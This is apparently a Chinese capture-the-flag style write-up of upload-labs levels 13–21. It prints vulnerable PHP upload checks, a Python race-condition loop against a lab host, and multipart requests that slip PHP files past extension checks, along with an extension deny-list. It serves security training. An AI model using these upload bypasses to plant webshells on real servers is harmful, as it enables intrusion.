第十三关00截断 数据包分析 和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码.
解决方法 二进制00截断
第十四关文件头伪造 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; }
解决方法
第十五关文件头伪造 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } }
解决方法 和上一关一样直接上传图片马
第十六关文件类型绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } }
解决方法 和上一关一样直接上传图片马
第十七关二次渲染 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
解决方法
先上传一个正常的gif文件,然后在下载下来用010对比上传前后的gif动图
修改源文件中和渲染后一样的地方
将保存后的图片重新上传
第十八关条件竞争
基本概念:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中.
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果.
漏洞逻辑:首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件再删掉.
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php include '../config.php' ;include '../head.php' ;include '../menu.php' ;$is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; echo $upload_file ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错! 错误代码: ' . $_FILES ['upload_file' ]['error' ]; } } ?> <div id="upload_panel" > <ol> <li> <h3>任务</h3> <p>上传一个<code>webshell</code>到服务器.</p> </li> <li> <h3>上传区</h3> <form enctype="multipart/form-data" method="post" > <p>请选择要上传的图片:<p> <input class ="input_file " type ="file " name ="upload_file "/> <input class ="button " type ="submit " name ="submit " value ="上传"/> </form > <div id ="msg "> <?php if ($msg != null ) { echo "提示:" .$msg ; } ?> </div> <div id="img" > <?php if ($is_upload ){ echo '<img src="' .$img_path .'" width="250px" />' ; } ?> </div> </li> <?php if ($_GET ['action' ] == "show_code" ){ include 'show_code.php' ; } ?> </ol> </div> <?php include '../footer.php' ;?>
解决方法 1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl1 = "http://192.168.2.240/upload-labs/upload/jiangjiyue.php" url2 = "http://192.168.2.240/upload-labs/upload/flag.php" while True : a1 = requests.get(url1) a2 = requests.get(url2) if a2.status_code == 200 : print ('success' ) break
1 2 <?php fwrite (fopen ('flag.php' , w), "<?php phpinfo();?>" ); ?>
先启动Python脚本,再去用burp发包
第十九关图片马绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名.' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录.' ; break ; case -2 : $msg = '上传失败,上传目录不可写.' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件.' ; break ; case -4 : $msg = '上传失败,上传的文件过大.' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件.' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录.' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } };
解决方法 直接上传图片马,然后配合文件包含
第二十关大小写绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解决方法 1 2 3 4 5 6 7 8 9 10 ------WebKitFormBoundaryvTf6MJ5w8rVUfWjt Content-Disposition: form-data; name="upload_file" ; filename="jiangjiyue.phP" Content-Type: application/octet-stream <?php phpinfo ();?> ------WebKitFormBoundaryvTf6MJ5w8rVUfWjt Content-Disposition: form-data; name="save_name" upload-19 .pHp
第二十一代码审计绕过 代码分析 本Pass做了如下校验: 1. 验证MIME类型(这个很好解决) 2. 验证文件名.验证文件名操作如下: 1. empty()
配合三运运算符检查文件名是否为空. 2. 如果$file
不为数组则将$file
打散为数组.(这步很关键) 3. end()
函数提取数组最后一个元素为后缀名. 4. 确定白名单 5. 将文件名设置为数组索引为零的元素与数组索引为元素总个数减一的元素合并. 6. 上传、改名、移动. 7. 第二步使用if
判断$file
是否为数组,是则跳过,不是则打散为数组.所以我们可以在上传中途控制save_name
参数,随意操作POST
数组索引进行绕过,这样$file
已经是数组,不会被重新打散.
解决方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 先将Content-type改为image/jpeg reset ()取数组索引为0 的元素为文件名,所以将save_name[0 ]设置为"shell.php" .save_name[1 ]不设置,使count ()结果为2 . save_name[2 ]为jpg. 拼接结果为shell.php,$ext 值为jpg. ------WebKitFormBoundaryB5mJk8YZmYu9lgAf Content-Disposition: form-data; name="upload_file" ; filename="jiangjiyue.php" Content-Type: image/jpeg <?php phpinfo ();?> ------WebKitFormBoundaryB5mJk8YZmYu9lgAf Content-Disposition: form-data; name="save_name[0]" shell.php/ ------WebKitFormBoundaryB5mJk8YZmYu9lgAf Content-Disposition: form-data; name="save_name[2]" jpg ------WebKitFormBoundaryB5mJk8YZmYu9lgAf Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryB5mJk8YZmYu9lgAf--